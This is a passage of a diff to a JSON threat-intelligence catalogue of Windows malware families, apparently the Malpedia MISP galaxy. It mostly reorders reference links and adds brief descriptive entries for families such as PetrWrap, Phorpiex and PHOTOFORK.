"https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking", - "https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/" + "https://securityintelligence.com/overlay-rat-malware-uses-autoit-scripting-to-bypass-antivirus-detection/", + "https://www.cybereason.com/blog/brazilian-financial-malware-dll-hijacking" ], "synonyms": [], "type": [] @@ -36845,8 +38562,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.owaauth", - "https://www.secureworks.com/research/threat-profiles/bronze-union", - "https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/" + "https://threatpost.com/targeted-attack-exposes-owa-weakness/114925/", + "https://www.secureworks.com/research/threat-profiles/bronze-union" ], "synonyms": [ "luckyowa" @@ -36862,8 +38579,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.owlproxy", "https://lab52.io/blog/chimera-apt-updates-on-its-owlproxy-malware/", - "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "https://securelist.com/the-sessionmanager-iis-backdoor/106868/", + "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "https://medium.com/cycraft/taiwan-government-targeted-by-multiple-cyberattacks-in-april-2020-3b20cea1dc20" ], "synonyms": [], @@ -36958,24 +38675,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandabanker", - "http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html", - "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html", - "https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", - "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", - "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/", "https://cyber.wtf/2017/02/03/zeus-panda-webinjects-a-case-study/", + "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers", + "http://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html", + "https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker", + "https://www.arbornetworks.com/blog/asert/panda-banker-zeros-in-on-japanese-targets/", + "https://www.vkremez.com/2018/08/lets-learn-dissecting-panda-banker.html", + "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf", + "https://cyber.wtf/2017/03/13/zeus-panda-webinjects-dont-trust-your-eyes/", + "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", + "http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html", + "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", + "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta544-targets-geographies-italy-japan-range-malware", "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://www.youtube.com/watch?v=J7VOfAJvxEY", "https://www.spamhaus.org/news/article/771/", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://www.proofpoint.com/us/threat-insight/post/zeus-panda-banking-trojan-targets-online-holiday-shoppers", - "https://github.com/JR0driguezB/malware_configs/tree/master/PandaBanker", - "https://medium.com/@crovax/panda-banker-analysis-part-1-d08b3a855847", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "http://www.vkremez.com/2018/01/lets-learn-dissect-panda-banking.html", - "https://f5.com/labs/articles/threat-intelligence/malware/panda-malware-broadens-targets-to-cryptocurrency-exchanges-and-social-media" + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [ "ZeusPanda" @@ -36990,8 +38707,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.panda_stealer", - "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/", - "https://www.trendmicro.com/en_us/research/21/e/new-panda-stealer-targets-cryptocurrency-wallets-.html" + "https://www.trendmicro.com/en_us/research/21/e/new-panda-stealer-targets-cryptocurrency-wallets-.html", + "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/" ], "synonyms": [], "type": [] @@ -37004,12 +38721,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora", - "https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", "https://kienmanowar.wordpress.com/2022/03/21/quicknote-analysis-of-pandora-ransomware/", - "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "https://www.fortinet.com/blog/threat-research/looking-inside-pandoras-box", + "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://www.fortinet.com/blog/threat-research/Using-emulation-against-anti-reverse-engineering-techniques", + "https://blog.cyble.com/2022/03/15/deep-dive-analysis-pandora-ransomware/", "https://cloudsek.com/technical-analysis-of-emerging-sophisticated-pandora-ransomware-group/", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://dissectingmalwa.re/blog/pandora/" @@ -37026,8 +38743,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pandora_rat", "https://github.com/AZMagic/Pandora-Hvnc-Hidden-Browser-Real-Vnc-Working-Chromium-Edge-Opera-Gx", - "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya" + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware" ], "synonyms": [ "Pandora hVNC RAT" @@ -37042,8 +38759,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paradies_clipper", - "https://www.youtube.com/watch?v=wjoH9jW2EPQ", - "https://perception-point.io/blog/behind-the-attack-paradies-clipper-malware/" + "https://perception-point.io/blog/behind-the-attack-paradies-clipper-malware/", + "https://www.youtube.com/watch?v=wjoH9jW2EPQ" ], "synonyms": [], "type": [] @@ -37056,14 +38773,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.paradise", - "https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/", + "https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/", "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://asec.ahnlab.com/en/47590/", "https://www.lastline.com/labsblog/iqy-files-and-paradise-ransomware/", "https://www.trendmicro.com/en_us/research/23/d/rapture-a-ransomware-family-with-similarities-to-paradise.html", - "https://therecord.media/source-code-for-paradise-ransomware-leaked-on-hacking-forums/", + "https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again", + "https://marcoramilli.com/2021/08/23/paradise-ransomware-the-builder/", + "https://mssplab.github.io/threat-hunting/2023/06/23/src-paradise.html", "https://labs.bitdefender.com/2020/01/paradise-ransomware-decryption-tool", - "https://www.acronis.com/en-us/blog/posts/paradise-ransomware-strikes-again" + "https://asec.ahnlab.com/en/47590/" ], "synonyms": [], "type": [] @@ -37076,14 +38794,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax", - "https://twitter.com/malwrhunterteam/status/1227196799997431809", - "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", "https://blog.morphisec.com/parallax-rat-active-status", - "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/", - "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/", "https://www.vkremez.com/2020/02/lets-learn-inside-parallax-rat-malware.html", "https://www.uptycs.com/blog/cryptocurrency-entities-at-risk-threat-actor-uses-parallax-rat-for-infiltration", - "https://www.bleepingcomputer.com/news/security/parallax-rat-common-malware-payload-after-hacker-forums-promotion/" + "https://twitter.com/malwrhunterteam/status/1227196799997431809", + "https://threatpost.com/ta2541-apt-rats-aviation/178422/", + "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", + "https://www.bleepingcomputer.com/news/security/unskilled-hacker-linked-to-years-of-attacks-on-aviation-transport-sectors/" ], "synonyms": [ "ParallaxRAT" @@ -37111,34 +38829,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.partyticket", - "https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/", - "https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", - "https://www.youtube.com/watch?v=mrTdSdMMgnk", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", - "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/", "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html", + "https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", + "https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", + "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/", "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/", - 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"https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", - "https://twitter.com/TrendMicroRSRCH/status/1389422784808378370", - "https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/", + "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf" + "https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/", + "https://twitter.com/TrendMicroRSRCH/status/1389422784808378370", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3" ], "synonyms": [ "Cobalt" @@ -37202,8 +38920,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", - "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html" + "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf" ], "synonyms": [], "type": [] @@ -37216,14 +38934,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash", + "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", + "https://asec.ahnlab.com/en/30022/", "https://www.us-cert.gov/ncas/analysis-reports/ar20-133c", "https://blog.reversinglabs.com/blog/hidden-cobra", - "https://asec.ahnlab.com/en/30022/", - "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", - "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", "https://asec.ahnlab.com/en/30532/", - "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/" + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", + "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf" ], "synonyms": [], "type": [] @@ -37236,10 +38954,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.peddlecheap", - "https://obscuritylabs.com/blog/2017/11/13/match-made-in-the-shadows-part-3/", - "https://twitter.com/ESETresearch/status/1258353960781598721", "https://www.forcepoint.com/fr/blog/security-labs/new-whitepaper-danderspritzpeddlecheap-traffic-analysis-part-1-2#", - "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/" + "https://research.checkpoint.com/2021/a-deep-dive-into-doublefeature-equation-groups-post-exploitation-dashboard/", + "https://twitter.com/ESETresearch/status/1258353960781598721", + "https://obscuritylabs.com/blog/2017/11/13/match-made-in-the-shadows-part-3/" ], "synonyms": [], "type": [] @@ -37299,7 +39017,7 @@ "value": "Peppy RAT" }, { - "description": "", + "description": "The PetrWrap Trojan is written in C and compiled in MS Visual Studio. It carries a sample of the Petya ransomware v3 inside its data section and uses Petya to infect the victim\u2019s machine. What\u2019s more, PetrWrap implements its own cryptographic routines and modifies the code of Petya in runtime to control its execution. This allows the criminals behind PetrWrap to hide the fact that they are using Petya during infection.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap", @@ -37317,15 +39035,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya", - "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/", - "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/", - "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/", "https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/", - "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://securelist.com/petya-the-two-in-one-trojan/74609/", + "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/", "https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/" + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", + "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/", + "https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/" ], "synonyms": [], "type": [] @@ -37365,12 +39084,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom", - "https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware", - "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/", - "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/", "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html", + "https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware", + "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf" ], "synonyms": [], @@ -37384,29 +39103,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://blogs.blackberry.com/en/2021/11/zebra2104", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/", - "https://blog.malwarebytes.com/threat-analysis/2019/07/a-deep-dive-into-phobos-ransomware/", "https://securelist.com/cis-ransomware/104452/", + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", - "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos", + "https://twitter.com/rivitna2/status/1674718854549831681", + "https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/", + "https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/", + "https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://cert.pl/en/posts/2023/02/breaking-phobos/" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://blog.malwarebytes.com/threat-analysis/2019/07/a-deep-dive-into-phobos-ransomware/", + "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", + "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://cert.pl/en/posts/2023/02/breaking-phobos/", + "https://www.acronis.com/en-sg/cyber-protection-center/posts/8base-ransomware-stays-unseen-for-a-year/", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos" ], "synonyms": [], "type": [] @@ -37419,10 +39141,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_keylogger", - "https://www.cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass" + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger" ], "synonyms": [], "type": [] @@ -37437,8 +39159,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker", "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://killingthebear.jorgetesta.tech/actors/evil-corp", "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [], @@ -37465,9 +39187,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal", + "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf", "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", - "https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/", - "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf" + "https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/" ], "synonyms": [ "Rizzo" @@ -37482,66 +39204,104 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex", - "https://twitter.com/_CPResearch_/status/1447852018794643457", - "https://research.checkpoint.com/2019/phorpiex-breakdown/", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://bin.re/blog/phorpiex/", - "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", - "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", "https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html", - "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", - "https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/", - "https://www.johannesbader.ch/2016/02/phorpiex/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/", - "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/", "https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/", - "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows" + "https://research.checkpoint.com/2019/phorpiex-breakdown/", + "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", + "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", + "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/", + "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", + "https://twitter.com/_CPResearch_/status/1447852018794643457", + "https://www.johannesbader.ch/2016/02/phorpiex/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://bin.re/blog/phorpiex/", + "https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/" ], "synonyms": [ - "Trik" + "Trik", + "phorphiex" ], "type": [] }, "uuid": "9759f99b-6d6c-4633-aa70-cb1d2bacc540", "value": "Phorpiex" }, + { + "description": "PHOTOFORK is a downloader which is a modified version of GZIPLOADER. It was first detected in February 2023 and was distributed by TA581 along with an unattributed threat activity cluster that facilitated initial access. In this version, the configuration file is no longer encrypted using a simple XOR algorithm with a 64-byte key. Instead, it uses a custom algorithm previously used by the Standard core loader. This algorithm decrypts DLL strings that are needed to resolve handles to the necessary DLLs later on. The strings are decrypted using an algorithm that splits the data into DWORDs and XORs it against a random key. The main objective of PHOTOFORK remains the same as GZIPLOADER, i.e. to deliver an encrypted bot and core DLL loader (forked) that loads the Forked ICEDID bot into memory using a custom PE format.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.photofork", + "https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid" + ], + "synonyms": [], + "type": [] + }, + "uuid": "10d3dd4b-8858-4131-bcf0-60982f36e43d", + "value": "PHOTOFORK" + }, + { + "description": "PHOTOLITE is the lite version of the GZIPLOADER with limited capabilities i.e. for example it does not have any functionality to exfiltrate the host information. This new variant is observed as a follow-on payload in a TA542 Emotet campaign back in November'22. contains a static URL to download a \"Bot Pack\" file with a static name 